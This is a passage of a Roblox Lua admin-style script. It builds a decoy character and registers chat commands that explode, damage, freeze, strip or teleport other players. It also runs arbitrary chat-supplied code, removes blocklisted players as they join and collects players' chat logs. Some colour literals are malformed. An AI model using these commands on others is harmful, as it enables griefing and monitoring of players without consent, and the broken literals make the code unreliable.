	local face = New("Decal", cHead, "face")
	face.Texture = char.Head.face.Texture

	local cTorso = New("Part", NewChar, "MyTorso")
	cTorso.Size = Vector3.new(2, 2, 1)
	cTorso.BrickColor = char.Torso.BrickColor

	local cLeftArm = New("Part", NewChar, "LeftArm")
	cLeftArm.Size = Vector3.new(1, 2, 1)
	cLeftArm.BrickColor = char["Left Arm"].BrickColor

	local cRightArm = New("Part", NewChar, "RightArm")
	cRightArm.Size = Vector3.new(1, 2, 1)
	cRightArm.BrickColor = char["Right Arm"].BrickColor

	local cLeftLeg = New("Part", NewChar, "LeftLeg")
	cLeftLeg.Size = Vector3.new(1, 2, 1)
	cLeftLeg.BrickColor = char["Left Leg"].BrickColor

	local cRightLeg = New("Part", NewChar, "RightLeg")
	cRightLeg.Size = Vector3.new(1, 2, 1)
	cRightLeg.BrickColor = char["Right Leg"].BrickColor

	hatlist = {}
	for i,v in pairs(char:GetChildren()) do
		if v.ClassName == "Hat" then
			local hedpos = char.Head.Position
			local hatpos = v.Handle.Position
			local dif = hatpos-hedpos
			local hatrot = v.Handle.Rotation --v.Handle.CFrame - v.Handle.CFrame.p

			local newhat = New("Part", NewChar, "Hat")
			if v.Handle:FindFirstChild("Mesh") then
				local hatmesh = v.Handle.Mesh:Clone()
				hatmesh.Parent = newhat
			end
			newhat.CanCollide = false

			hatlist[i] = {["Frame"] = CFrame.new(dif), ["Rot"] = hatrot, ["Hat"] = newhat}
		end
	end
	ChangeCollideMod(NewChar, false)
	AnchorMod(NewChar, true)


	local BB = New("BillboardGui", cHead, "NameTag")
	local lab = New("TextLabel", BB, "NameText")

	BB.Size = UDim2.new(9, 0, 1, 0)
	BB.StudsOffset = Vector3.new(0, 2, 0)
	lab.BackgroundTransparency = 1
	lab.Position = UDim2.new()
	lab.Size = UDim2.new(1,0, 1, 0)
	lab.TextColor3 = Color3.new(1,1,1)
	lab.TextStrokeColor3 = strokecol3
	lab.TextStrokeTransparency = 0
	lab.FontSize = "Size24"
	lab.TextWrapped = true

	lab.Text = NewChar.Name
	NewChar.Changed:connect(function(property)
		if property == "Name" then
			lab.Text = NewChar.Name
		end
	end)

	local HPFrame = New("Frame", BB, "HPFrame")
	HPFrame.BackgroundColor3 = Color3.new(1, 0, 0)
	HPFrame.Size = UDim2.new(.5, 0, .3, 0)
	HPFrame.Position = UDim2.new(.25, 0, .9, 0)
	HPFrame.BorderColor3 = strokecol3

	local HPBar = New("ImageLabel", HPFrame, "HPBar")
	HPBar.BackgroundColor3 = Color3.new(0, 81176470588235, 59607843137255)
	HPBar.ZIndex = 2
	HPBar.Size = UDim2.new(1, 0, 1, 0)
	HPBar.Position = UDim2.new()
	HPBar.BorderSizePixel = 0

	cHead.Changed:connect(function(property)
		if property == "Transparency" then
			lab.TextTransparency = cHead.Transparency
			HPFrame.BackgroundTransparency = cHead.Transparency
			HPBar.BackgroundTransparency = cHead.Transparency
			face.Transparency = cHead.Transparency
		end
	end)

	local origscalex = HPBar.Size.X.Scale
	local origscaley = HPBar.Size.Y.Scale
	hum.HealthChanged:connect(function(health)
		if NewChar.Parent ~= nil then
    		local maxhp = hum.MaxHealth
    		HPBar:TweenSize(UDim2.new(origscalex/(hum.MaxHealth/hum.Health), 0, origscaley, 0), "Out", "Sine", .65, true)
    		if hum.Health >= 99999999 then
    		    HPBar.BackgroundColor3 = BrickColor.new("Bright yellow").Color
    		    HPBar:TweenSize(UDim2.new(1, 0, origscaley, 0), "Out", "Sine", .65, true)
    		else
    		    HPBar.BackgroundColor3 = Color3.new(0, 81176470588235, 59607843137255)
    		end
    	end

	end)

	hum.Changed:connect(function(prop)
		if prop == "WalkSpeed" then
			plyr.Character.Humanoid.WalkSpeed = hum.WalkSpeed
		end
	end)

	hum.Died:connect(function()
	    wait()
	    AnchorMod(NewChar, false)
	    ChangeCollideMod(NewChar, true)
	    wait(5)
	    NewChar:Remove()
	    --cam[plyr.Name].Torso.CFrame = CFrame.new(0, 50, 0)

	end)

	tor.ChildAdded:connect(function(ch)
	    ch.Parent = cTorso
	end)
	hed.ChildAdded:connect(function(ch)
	    ch.Parent = cHead
	end)

	coroutine.resume(coroutine.create(function()
	    while true do
	        hum.Health = hum.Health + 1
	        wait(1)
	    end
	end))

	local BackUp = NewChar:Clone()
	return NewChar, BackUp
end





--== ANIMATE FUNCTION ==--






function Animate(nguy, bak)
	if plyr.Character.Parent == cam and not animating then
		char = plyr.Character
		ChangeTransparencyMod(char, 1)
		animating = true
		print("Animating")
		char.Torso.CFrame = CFrame.new(0, 50, 0)
		local runcon
		runcon = game["Run Service"].RenderStepped:connect(function()
		    if not nguy:FindFirstChild("Humanoid") then h = Instance.new("Humanoid", nguy) end
		    if nguy.Parent and nguy.Humanoid.Health > 0 then
		        local myH = nguy:FindFirstChild("MyHead")
		        local myT = nguy:FindFirstChild("MyTorso")
		        local LA = nguy:FindFirstChild("LeftArm")
		        local RA = nguy:FindFirstChild("RightArm")
		        local LL = nguy:FindFirstChild("LeftLeg")
		        local RL = nguy:FindFirstChild("RightLeg")

			    if myH then myH.CFrame = char.Head.CFrame else nguy.Humanoid.Health = 0 end
			    if myT then myT.CFrame = char.Torso.CFrame else nguy.Humanoid.Health = 0 end
		    	if LA then LA.CFrame = char["Left Arm"].CFrame end
		    	if RA then RA.CFrame = char["Right Arm"].CFrame end
		    	if LL then LL.CFrame = char["Left Leg"].CFrame end
		    	if RL then RL.CFrame = char["Right Leg"].CFrame end

		    	if char.Torso.Position.y < -10 then
		    		char.Torso.CFrame = CFrame.new(0, 50, 0)
		    	end

		    	for _,v in pairs(hatlist) do
		    	    if v["Hat"] and nguy.MyHead.Parent  ~= nil then
		    	        v["Hat"].Rotation = v["Rot"] v["Hat"].CFrame = nguy.MyHead.CFrame * v["Frame"]
		    	    end
		    	end

			else
			    runcon:disconnect()
			    animating = false
			    Effigy = bak
			    BackUp = CreateNewChar()
			    wait(6)
			    if not probe and not animating then
			        Effigy.Parent = Workspace
			        Effigy:MakeJoints()
			        Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
			        print("SPAWN'T")
			        Animate(Effigy, BackUp)
			    end
			    return
			end
			--wait()
		end)

		local chatcon
		chatcon = plyr.Chatted:connect(function(msg)
		    local lowmsg = string.lower(msg)
		    local private = false

		    if nguy.Parent == nil then
		        chatcon:disconnect()
		        return nil
		    end
    	    while nguy.Parent and nguy.MyHead:FindFirstChild("chat") do
                nguy.MyHead.chat:Remove()
	        end
	        if string.sub(msg, 1, 3) == "/e " then
	            private = true
	            msg = string.sub(msg, 4)
	            lowmsg = string.lower(msg)
	        end
	        print(lowmsg)
	        local GC,argz = GetCMD(msg)


	        if msg == "die"..bet then
	            nguy.Humanoid.Health = 0
	        elseif string.sub(lowmsg, 1, 2) == "s"..bet and scr_base then
	            local news = scr_base:Clone()
	            news.DSource.Value = string.sub(msg, 3)
	            news.Parent = Workspace
	            news.Disabled = false

	        elseif GC then
	            docmd(GC,argz)
	        end


	        if not private and nguy and nguy:FindFirstChild("MyHead") then

            	local chat = New("BillboardGui", nguy.MyHead)
            	chat.StudsOffset = Vector3.new(0, 1, 0)
            	chat.Size = UDim2.new(1, 0, 1, 0)
            	chat.AlwaysOnTop = true
            	chat.Name = "chat"
            	local lab = New("TextLabel", chat)
            	lab.BackgroundTransparency = 1
            	lab.Font = "Arial"
            	lab.FontSize = "Size24"
            	lab.TextColor3 = Color3.new(1,1,1)
            	lab.Text = msg
            	lab.Size = UDim2.new(1, 0, 1, 0)
            	lab.Position = UDim2.new(0, 0, .9, 0)
            	lab.TextStrokeTransparency = 0
            	lab.ZIndex = 5

            	coroutine.resume(coroutine.create(function()
            	    for i = 1, 9 do
            	        lab.Position = lab.Position - UDim2.new(0, 0, .1, 0)
            	        lab.TextTransparency = .9 - i/10
            	        wait(.1)
            	    end
            	end))

    	        local down = Vector3.new(-.05, -.05, -.05)
    	        local up = Vector3.new(.05, .05, .05)

    	        while chat do

            		repeat
            			local CtoV = ColToVec(lab.TextColor3)
            			CtoV = CtoV - Vector3.new(.05, .05, .05)

            			lab.TextColor3 = VecToCol(CtoV)
            			wait()
            		until CtoV.y <= .5

            		repeat
            			local CtoV = ColToVec(lab.TextColor3)
            			CtoV = CtoV + Vector3.new(.05, .05, .05)

            			lab.TextColor3 = VecToCol(CtoV)
            			wait()
            		until CtoV.y >= 1

    	        end
    	    end

		end)

		local kcon
		kcon = mouse.KeyDown:connect(function(k)
		    if k == "f" and nguy.Parent ~= nil then
		        local hit = Beam(nguy.MyTorso.CFrame, mouse.Hit.p, nguy, lazcol, lazcol2)
		        if hit and hit.Parent:FindFirstChild("Humanoid") then
		            local human = hit.Parent.Humanoid
		            human:TakeDamage(10)
		        end
	        elseif nguy.Parent == nil then
	            kcon:disconnect()
	        end
	    end)


	end
end

--== SCREEN GUI  COMMANDS ==--

function ScreenGui(frameType, frameSize, framePos, guiobj, content)
    local SGPart = New("Part", cam, "SGPart")
    SGPart.Anchored = true
    SGPart.Size = Vector3.new(6, 4, 1)
    SGPart.Transparency = 1
    SGPart.CanCollide = false
    local xclicked = false
    local cursel = nil

    local surf = New("SurfaceGui", SGPart, "Surface")
    surf.Face = "Back"
    --surf.Adornee = plyr
    local frame = New(frameType, surf)
    frame.Size = frameSize
    frame.Position = framePos
    frame.Name = "ScrollingFrame"
    frame.Draggable = true
    local xbut = New("TextButton", surf)
    xbut.BackgroundColor3 = BrickColor.new("Really red").Color
    xbut.TextColor3 = Color3.new(1,1,1)
    xbut.Size = UDim2.new(frameSize.X.Scale/10, 0, frameSize.Y.Scale/17, 0)
    xbut.Position = framePos + UDim2.new(frameSize.X.Scale-xbut.Size.X.Scale, 0, 0, 0)

    xbut.MouseEnter:connect(function(x,y)
        cursel = "xbut"
    end)
    xbut.MouseLeave:connect(function(x,y)
        cursel = nil
    end)

    mouse.Button1Down:connect(function()
        if cursel == "xbut" then
            xclicked = true
        end
    end)

    print("At loop")
    local keep = game["Run Service"].RenderStepped:connect(function()
        SGPart.CFrame = cam.CoordinateFrame * CFrame.new(0, 0, -3.6)
    end)

    coroutine.resume(coroutine.create(function()
    repeat
        wait()
    until Effigy.Humanoid.Health < 1 or xclicked or SGPart.Parent == nil
    keep:disconnect()
    SGPart:Destroy()
    end))

    return SGPart

end

local logsobj
game.Lighting:ClearAllChildren()
logsobj = game.Lighting:WaitForChild(plyr.Name.."Logs")


--function DoLogs(p)
--    function LogChat(msg)
--            table.insert(logs[p.Name], msg)
--            table.insert(logs['All'], p.Name..": "..msg)
--
--    end
--
--    p.Chatted:connect(LogChat)
--end

--for _,v in pairs(game.Players:GetPlayers()) do
--    logs[v.Name] = {}
--    New("StringValue", logsobj, v.Name)
--    DoLogs(v)
--end

--logsobj.ChildAdded:connect(function(s)
--    if not logs[s.Name] then
--        logs[s.Name] = {}
--    end
--    table.insert(logs[s.Name], s.Value)
--    print("Log added")
--end)

game.Players.ChildAdded:connect(function(p)
    if nope[string.lower(p.Name)] and p.Parent ~= nil then
        p:Destroy()
    else
    	if p.ClassName == "Player" and notify then
    		Output("Player '"..p.Name.."' has joined the game.", plyr)
    	end
    	--logs[p.Name] = {}
    	--DoLogs(p)
    end
end)
game.Players.ChildRemoved:connect(function(p)
	if p.ClassName == "Player" and notify then
		Output("Player '"..p.Name.."' has left the game.", plyr)
	end
end)

AddCMD("invis", "Invisible", "Turns a player invisible", "ToPlayer", function(find,args)
        local amt = 1
        if args[1] then amt = args[1] end
        if find.Character.Parent == Workspace then
            for _,v in pairs(find.Character:GetChildren()) do
                if v:IsA("BasePart") then
                    v.Transparency = amt
                end
            end
        elseif find == plyr and Effigy and Effigy.Parent == Workspace then
            for _,v in pairs(Effigy:GetChildren()) do
                if v:IsA("BasePart") then
                    v.Transparency = amt
                end
            end
        end
        end)
AddCMD("vis", "Visible", "Makes a player visible", "ToPlayer", function(find,args)
        if find.Character.Parent == Workspace then
            for _,v in pairs(find.Character:GetChildren()) do
                if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
                    v.Transparency = 0
                end
            end
        elseif find == plyr and Effigy and Effigy.Parent == Workspace then
            for _,v in pairs(Effigy:GetChildren()) do
                if v:IsA("BasePart") then
                    v.Transparency = 0
                end
            end
        end
        end)
AddCMD("sit", "Sit", "Sits a player. Use; sit/plyr/duration", "ToPlayer", function(find,args)
        if find.Character.Parent ~= nil then
            if args[1] then
                local dur = tonumber(args[1])
                local int = dur/.03
                local count = 0
                while count < int do
                    count = count + 1
                    find.Character.Humanoid.Sit = true
                    wait()
                end
            else
                find.Character.Humanoid.Sit = true
            end
        end
        end)
AddCMD("jump", "Jump", "Makes a player jump. Use; jump/plyr/duration", "ToPlayer", function(find,args)
        if find.Character.Parent ~= nil then
            if args[1] then
                local dur = tonumber(args[1])
                local int = dur/.03
                local count = 0
                while count < int do
                    count = count+1
                    find.Character.Humanoid.Jump = true
                    wait()
                end
            else
                find.Character.Humanoid.Jump = true
            end
        end
        end)
AddCMD("ps", "PlatformStand", "Makes a player platformstand. Use; ps/plyr/duration", "ToPlayer", function(find,args)
        if find.Character.Parent ~= nil then
            if args[1] then
                local dur = tonumber(args[1])
                local int = dur/.03
                local count = 0
                while count < int do
                    count = count + 1
                    find.Character.Humanoid.PlatformStand = true
                    wait()
                end
            else
                find.Character.Humanoid.PlatformStand = true
            end
        end
        end)
AddCMD("immor", "Immortal", "Make a player immortal", "ToPlayer", function(find,args)
        if find.Character.Parent ~= nil and find ~= plyr then
            find.Character.Humanoid.MaxHealth = math.huge
            find.Character.Humanoid.Health = math.huge
        elseif find == plyr and Effigy and Effigy.Parent == Workspace then
            Effigy.Humanoid.MaxHealth = math.huge
            Effigy.Humanoid.Health = math.huge
        end
        end)
AddCMD("mor", "Mortal", "Makes a player mortal", "ToPlayer", function(find,args)
        if find.Character.Parent ~= nil and find ~= plyr then
            find.Character.Humanoid.MaxHealth = 100
            find.Character.Humanoid.Health = 100
        elseif find == plyr and Effigy and Effigy.Parent == Workspace then
            Effigy.Humanoid.MaxHealth = 100
            Effigy.Humanoid.Health = 100
        end
        end)
AddCMD("freeze", "Freeze", "Freezes a player", "ToPlayer", function(find,args)
        if find and find.Character then
			for _,v in pairs(find.Character:GetChildren()) do
				if v.ClassName == "Part" and v.Name ~= "HumanoidRootPart" then
					v.Anchored = true
					local clo = v:Clone()
					clo.Parent = find.Character
					clo.Name = "FIce"--"F"..v.Name
					clo.BrickColor = BrickColor.new("Pastel Blue")
					clo.Transparency = .5
					clo.Reflectance = .3
					clo.FormFactor = "Custom"
					clo.CFrame = v.CFrame
					if clo:FindFirstChild("Mesh") then
						if clo.Mesh.ClassName == "SpecialMesh" then clo.Mesh.TextureId = "" end
						clo.Mesh.Scale = clo.Mesh.Scale + Vector3.new(.3, .3, .3)
					else
						clo.Size = clo.Size + Vector3.new(.3, .3, .3)
					end
					if v:FindFirstChild("face") then
						clo.face:Remove()
					end
					if v.Name == "Torso" then
						clo.CFrame = find.Character.Torso.CFrame
					end

				elseif v.ClassName == "Hat" and v:FindFirstChild("Handle") then
					local clo = v.Handle:Clone()
					clo.Parent = find.Character
					clo.Name = "FIce"--"F"..v.Name
					clo.BrickColor = BrickColor.new("Pastel Blue")
					clo.Transparency = .5
					clo.Reflectance = .3
					clo.FormFactor = "Custom"
					clo.Anchored = true
					clo.CFrame = v.Handle.CFrame
					if clo:FindFirstChild("Mesh") then
						if clo.Mesh.ClassName == "SpecialMesh" then clo.Mesh.TextureId = "" end
						clo.Mesh.Scale = clo.Mesh.Scale + Vector3.new(.3, .3, .3)
					else
						clo.Size = clo.Size + Vector3.new(.3, .3, .3)
					end
				end
			end
		end
        end)
AddCMD("thaw", "Thaw", "Thaws a player", "ToPlayer", function(find,args)
      	if find and find.Character then
			for _,v in pairs(find.Character:GetChildren()) do
				if v.Name == "FIce" then
					v:Destroy()
				elseif v.ClassName == "Part" then
					v.Anchored = false
				end
			end
		end
        end)
AddCMD("nograv", "NoGravity", "Removes gravity from a player", "ToPlayer", function(find,args)

        local m = 0
    	function getModelMass(getModel)
    		for i,v in pairs (getModel:GetChildren()) do
    			if v:IsA('BasePart') then
    				m = m + v:GetMass()
    			elseif v.ClassName == "Hat" and v:FindFirstChild("Handle") then
    				m = m + v.Handle:GetMass()
    			elseif v:IsA('Model') then
    				m = m + getModelMass(v)
    			end
    		end
    		return m
    	end
    	if find.Character and find.Character:FindFirstChild("Torso") then
    		b = Instance.new("BodyForce")
    		b.Name = "nograv"
    		b.Parent = find.Character.Torso
    		b.force = Vector3.new(0,getModelMass(find.Character) * 196.2,0)
        end
        end)
AddCMD("grav", "Gravity", "Returns gravity to a plyer", "ToPlayer", function(find,args)
		if find and find.Character then
			if find.Character:FindFirstChild("Torso") and find.Character.Torso:FindFirstChild("nograv") then
				find.Character.Torso.nograv:Destroy()
			end
		end
        end)
AddCMD("ws", "WalkSpeed", "Modifies a player's WalkSpeed. Use; ws/player/speed", "ToPlayer", function(find,args)
		local cond = find.Character and find.Character:FindFirstChild("Humanoid") and find ~= plyr and args[1]
		local cond2 = find == plyr and Effigy and Effigy.Parent == Workspace and args[1]

		if cond then
			find.Character.Humanoid.WalkSpeed = args[1]
		elseif cond2 then
		    Effigy.Humanoid.WalkSpeed = args[1]
		end
        end)
AddCMD("box", "Box", "Encases a player in a box. Use; box/plyr/size/color", "ToPlayer", function(find,args)
        local big = tonumber(args[1])
		if not big then big = 8 end
		local hlf = big/2
		if not args[2] then bcol = "Bright blue" else bcol = args[2] end

		if find and find.Character and find.Character["Torso"] then

			local fchar = find.Character
			local bawx = Instance.new("Model", Workspace)
			bawx.Name = "Box"..find.Name
			local rs = Instance.new("Part", bawx)
			rs.Name = "Wall"
			rs.Anchored = true
			rs.BrickColor = BrickColor.new(string.upper(string.sub(bcol, 1,1))..string.sub(bcol, 2))
			rs.Transparency = .4
			rs.Reflectance = .3
			rs.Material = "SmoothPlastic"
			rs.TopSurface = "Smooth"
			rs.BottomSurface = "Smooth"
			rs.Size = Vector3.new(1, big, big)
			rs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(-hlf, 0, 0)
			local ls = rs:Clone()
			ls.Parent = bawx
			ls.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(hlf, 0, 0)
			local fs = rs:Clone()
			fs.Parent = bawx
			fs.Size = Vector3.new(big, big, 1)
			fs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, 0, hlf)
			local bs = rs:Clone()
			bs.Parent = bawx
			bs.Size = Vector3.new(big, big, 1)
			bs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, 0, -hlf)
			local ts = rs:Clone()
			ts.Parent = bawx
			ts.Size = Vector3.new(big, 1, big)
			ts.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, hlf, 0)
			local bots = rs:Clone()
			bots.Parent = bawx
			bots.Size = Vector3.new(big, 1, big)
			bots.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, -hlf, 0)
		end
        end)
AddCMD("unbox", "Unbox", "Removes a box from a player", "ToPlayer", function(find,args)
		if Workspace:FindFirstChild("Box"..find.Name) then
		    Workspace["Box"..find.Name]:Remove()
		end
        end)
AddCMD("dmg", "Damage", "Damages a player. Use; dmg/plyr/amt", "ToPlayer", function(find,args)
		if find.Character:FindFirstChild("Humanoid") and args[1] and find ~= plyr then
			find.Character.Humanoid.Health = find.Character.Humanoid.Health - args[1]
		elseif find == plyr and Effigy and Effigy.Parent == Workspace and args[1] then
			Effigy.Humanoid.Health = Effigy.Humanoid.Health - args[1]
		end
        end)
AddCMD("heal", "Heal", "Heals a player. Use; heal/plyr/amt", "ToPlayer", function(find,args)
        local hamt = args[1] if not hamt then hamt = 99999 end
		if find.Character and find.Character:FindFirstChild("Humanoid") and find ~= plyr then
			find.Character.Humanoid.Health = find.Character.Humanoid.Health + hamt
		elseif find == plyr and Effigy and Effigy.Parent == Workspace then
			Effigy.Humanoid.Health = Effigy.Humanoid.Health + hamt
		end
        end)
AddCMD("lg", "Lag", "UNDER CONSTRUCTION", "ToPlayer", function(find,args)



        end)
AddCMD("cln", "Clean", "Cleans the Workspace. Use; cln/ cln/s/ for scripts and cln/all/ for all", "General", function(args)
		for _,v in pairs(Workspace:GetChildren()) do
			local cond = not game.Players:GetPlayerFromCharacter(v) and
			not args[1] and
			v.ClassName ~= "Script" and v.ClassName ~= "LocalScript" and
			v.Name ~= "Terrain" and v.Name ~= "Base" and v.Name ~= "Baseplate"
			and v.Name ~= "BasePlate" and v ~= Effigy and v ~= cam

			local cond2 = not game.Players:GetPlayerFromCharacter(v) and
			args[1] == "all" and
			v.Name ~= "Terrain" and v.Name ~= "Base" and v.Name ~= "Baseplate"
			and v.Name ~= "BasePlate" and v ~= Effigy and v ~= cam

			local cond3 = not game.Players:GetPlayerFromCharacter(v) and
			args[1] == "s" and
			v.ClassName == "Script" or v.ClassName == "LocalScript"

			if cond or cond2 or cond3 then v:Remove() end


		end
        end)
AddCMD("fogend", "FogEnd", "Sets the FogEnd", "General", function(args)

		if args[1] then
			game.Lighting.FogEnd = args[1]
		end
        end)
AddCMD("notif", "Notify", "Notifications", "General", function(args)
		if notify then
			notify = false
		else
			notify = true
		end
end)
AddCMD("dis", "Dismiss", "Dismisses yo ninjas", "General", function(args)
	for _,v in pairs(Workspace:GetChildren()) do
		if v.Name == "Ninjah" then
			v.Torso.Locked = false
		end
	end
end)
AddCMD("tell", "Tell", "Tells a player somethin. Use; tell/plyr/msg/", "ToPlayer", function(find, args)
	if args[1] then
		coroutine.resume(coroutine.create(function()
		Output(args[1], find, args[2])
		end))
	end
end)
AddCMD("ex", "Explode", "Explodes a player. Use; ex/plyr/press/radius", "ToPlayer", function(find, args)
	if find.Character and find.Character:FindFirstChild("Torso") then
		local ex = Instance.new("Explosion", Workspace)
		if args[1] and args[1] ~= "def" then
		    ex.BlastPressure = args[1]
		end
		if args[2] then
		    ex.BlastRadius = args[2]
		end
		ex.Position = find.Character.Torso.Position
	end
end)
AddCMD("light", "Light", "Gives a light to someone. Use; light/plyr/col", "ToPlayer", function(find, args)
        local col = "Institutional white"
		if args[1] then col = args[1] end
		if col == "random" then col = BrickColor.random().Name end

        local fchar = find.Character
		if find.Character and find.Character["Torso"] then
			if find == plyr then fchar = Effigy end
			local lite = Instance.new("PointLight", fchar.Torso)
			lite.Range = 24
			lite.Shadows = true
			lite.Color = BrickColor.new(col).Color

			coroutine.resume(coroutine.create(function()
				tors = find.Character.Torso
				if col == "rainbow" or col == "disco" then
					repeat
						lite.Color = BrickColor.random().Color
						wait(.1)
					until not lite or not tors
				end
			end))
		end
end)
AddCMD("slight", "SpotLight", "Gives a spotlight. Use; slight/plyr/col", "ToPlayer", function(find, args)
        local col = "Institutional white"
		if args[1] then col = args[1] end
		if col == "random" then col = BrickColor.random().Name end

        local fchar = find.Character
		if find.Character and find.Character["Torso"] then
			if find == plyr then fchar = Effigy end
			local lite = Instance.new("SpotLight", fchar.Torso)
			lite.Range = 24
			lite.Shadows = true
			lite.Color = BrickColor.new(col).Color

			coroutine.resume(coroutine.create(function()
				tors = find.Character.Torso
				if col == "rainbow" or col == "disco" then
					repeat
						lite.Color = BrickColor.random().Color
						wait(.1)
					until not lite or not tors
				end
			end))
		end
end)
AddCMD("naked", "Naked", "Removes a player's clothes. Have fun.", "ToPlayer", function(find, args)
		if find.Character then
			local fchar = find.Character
			local cloth = fchar:FindFirstChild("Clothing")
			local shirt = fchar:FindFirstChild("Shirt")
			local pants = fchar:FindFirstChild("Pants")
			if cloth then cloth:Destroy() end
			if shirt then shirt:Destroy() end
			if pants then pants:Destroy() end
		end
end)
AddCMD("name", "Name", "Names a player. Use; name/plyr/newname", "ToPlayer", function(find, args)
	    if find == plyr and Effigy and Effigy.Parent ~= nil then
	        Effigy.Name = args[1]
	    end
end)
AddCMD("building", "Building", "Erects a building", "ToPlayer", function(find, args)
        local cond = find.Character and find.Character:FindFirstChild("Torso")
		local wbase = {}

		coroutine.resume(coroutine.create(function()
		if Workspace:FindFirstChild("Base") then wbase["Base"] = Workspace.Base end
		if Workspace:FindFirstChild("Baseplate") then wbase["Base"] = Workspace.Baseplate end
		if Workspace:FindFirstChild("BasePlate") then wbase["Base"] = Workspace.BasePlate end

		if cond and wbase["Base"] then
			local fchar = find.Character
			local tors = fchar.Torso

			local build = Instance.new("Part", Workspace)
			build.Name = "Building"..find.Name
			build.Anchored = true
			build.BrickColor = BrickColor.new("Dark stone grey")
			build.Size = Vector3.new(50, 110, 50)
			build.CFrame = CFrame.new(tors.Position.x, wbase["Base"].Position.y, tors.Position.z)
				* CFrame.new(0, -build.Size.y/2, 0)
			local tex = "6750508"
			--addDecal(build, tex)
			local dec1 = Instance.new("Decal", build)
			dec1.Face = "Front"
			dec1.Texture = "http://www.roblox.com/asset?id="..tex
			local dec2 = Instance.new("Decal", build)
			dec2.Face = "Left"
			dec2.Texture = "http://www.roblox.com/asset?id="..tex
			local dec3 = Instance.new("Decal", build)
			dec3.Face = "Right"
			dec3.Texture = "http://www.roblox.com/asset?id="..tex
			local dec4 = Instance.new("Decal", build)
			dec4.Face = "Back"
			dec4.Texture = "http://www.roblox.com/asset?id="..tex

			--build.dec1:Destroy()

			repeat
				build.CFrame = build.CFrame * CFrame.new(0, .1, 0)
				wait()
			until build.Position.y >= wbase["Base"].Position.y + wbase["Base"].Size.y/2 + build.Size.y/2

		end
		end))
end)
AddCMD("age", "GetAge", "Gets the age of a player", "ToPlayer", function(find, args)

		Output(find.Name.." is "..find.AccountAge.." days old.", plyr, 7)

end)
AddCMD("pbase", "Private Base", "Gives a player a private base. Use; pbase/plyr/size", "ToPlayer", function(find, args)
		if find.Character and find.Character:FindFirstChild("Torso") then
            if args[1] then siz = args[1] end

			local fchar = find.Character
			if find == plyr then fchar = Effigy end
			local pbase = Instance.new("Part", fchar.Torso)
			if siz then
				pbase.Size = Vector3.new(siz, 1, siz)
			else
				pbase.Size = Vector3.new(50,1,50)
			end
			pbase.Anchored = true
			pbase.CFrame = CFrame.new(5000*math.random(100)/10, 200, 5000*math.random(100)/10)
			pbase.Name = "Base"
			pbase.BrickColor = BrickColor.new("Earth green")
			fchar.Torso.CFrame = pbase.CFrame * CFrame.new(0,2,0)
		end
end)
AddCMD("tp", "Teleport", "Teleports someone to someone. Use; tp/plyr/who", "ToPlayer", function(find, args)
        local guy = find
		local guy2 = lookFor(args[1], game.Players)

		if guy2 and guy.Character ~= nil and guy2.Character ~= nil and guy.Character:FindFirstChild("Torso") and guy2.Character:FindFirstChild("Torso") then

				guy.Character.Torso.CFrame = guy2.Character.Torso.CFrame
		end
end)
AddCMD("afk", "afk", "Makes you AFK","General", function(args)
        if Effigy and Effigy.Parent ~= nil then
            local hov = Instance.new("Part", plyr.Character)
    		hov.FormFactor = "Custom"
    		hov.Size = Vector3.new(6, 3, .2)
    		hov.Transparency = 1
    		hov.CanCollide = false
    		hov.Anchored = true
    		local hovsurface = Instance.new("SurfaceGui", hov)
    		hovsurface.CanvasSize = hovsurface.CanvasSize - Vector2.new(100, 100)
    		hovsurface.Face = "Front"
    		local hovtxt = Instance.new("TextLabel", hovsurface)
    		hovtxt.Size = UDim2.new(1, 0, 1, 0)
    		hovtxt.Text = "AFK"
    		hovtxt.FontSize = "Size48"
    		hovtxt.TextColor3 = Color3.new(1,1,1)
    		hovtxt.TextStrokeColor3 = BrickColor.new("Bright blue").Color
    		hovtxt.TextStrokeTransparency = .5
    		hovtxt.BackgroundTransparency = 1

    		local curchar = plyr.Character
    		local curtors = Effigy.MyTorso
    		local idle = true

    		plyr:GetMouse().KeyDown:connect(function(k)
    		    idle = false
    		end)

    		local rot = 0
    		repeat
    			hov.CFrame = curtors.CFrame * CFrame.Angles(0, math.rad(rot), 0) * CFrame.new(0, 0, -3)
    			rot = rot + 1
    			wait()
    		until idle == false or not curchar or not curchar:FindFirstChild("Torso") or not hov
    		hov:Destroy()
        end
end)
AddCMD("m", "Message", "Sends a message. Use; m/msg/duration", "General", function(args)
    local src = [[ for _,v in pairs(game.Players:GetPlayers()) do
        coroutine.resume(coroutine.create(function()
            local sg = Instance.new("ScreenGui", v.PlayerGui)
            local fra = Instance.new("Frame", sg)
            fra.Size = UDim2.new()
            fra.Position = UDim2.new(.5, 0, .5, 0)
            fra.BackgroundColor3 = BrickColor.new("Navy blue").Color
            fra.ZIndex = 55

            --fra.TextColor3 = Color3.new(1,1,1)
            fra.BackgroundTransparency = .5
            fra:TweenSizeAndPosition(UDim2.new(.5, 0, .005, 0), UDim2.new(.25, 0, .5, 0), "Out", "Sine", .55, true)
            wait(.6)
            fra:TweenSizeAndPosition(UDim2.new(.5, 0, .8, 0), UDim2.new(.25, 0, 0, 0), "Out", "Sine", .55, true)
            wait(.6)

            wait(duration)
            fra:TweenSizeAndPosition(UDim2.new(.5, 0, 0, 0),UDim2.new(.25, 0, .5, 0), "Out", "Sine", .55, true)
            wait(.6)
            sg:Remove()
        end))
        end

    ]]
    if args[2] then
        duration = args[2]
    else
        duration = 2
    end

    src = string.gsub(src, "VALUE", args[1])
    src = string.gsub(src, "duration", duration)
    NewScript(src)
end)
AddCMD("bet", "Change Bet", "Speaks for itself", "General", function(args)
        if args[1] then
            bet = args[1]
        end
        Output("The bet is now '"..bet, plyr)
end)
AddCMD("logs", "Logs", "View the logs of a player. Use; logs/plyr/", "General", function(args)
        print("loggin")
        if args[1] and logs[args[1]] and logsobj then
            for _,v in pairs(logs[args[1]]) do
                print(v)
            end

            for _,v in pairs(logsobj:GetChildren()) do
                if not logs[v.Name] then
                    logs[v.Name] = {}
                end
                table.insert(logs[v.Name], v.Value)
                table.insert(logs["All"], v.Name..": "..v.Value)
                v:Destroy()
            end


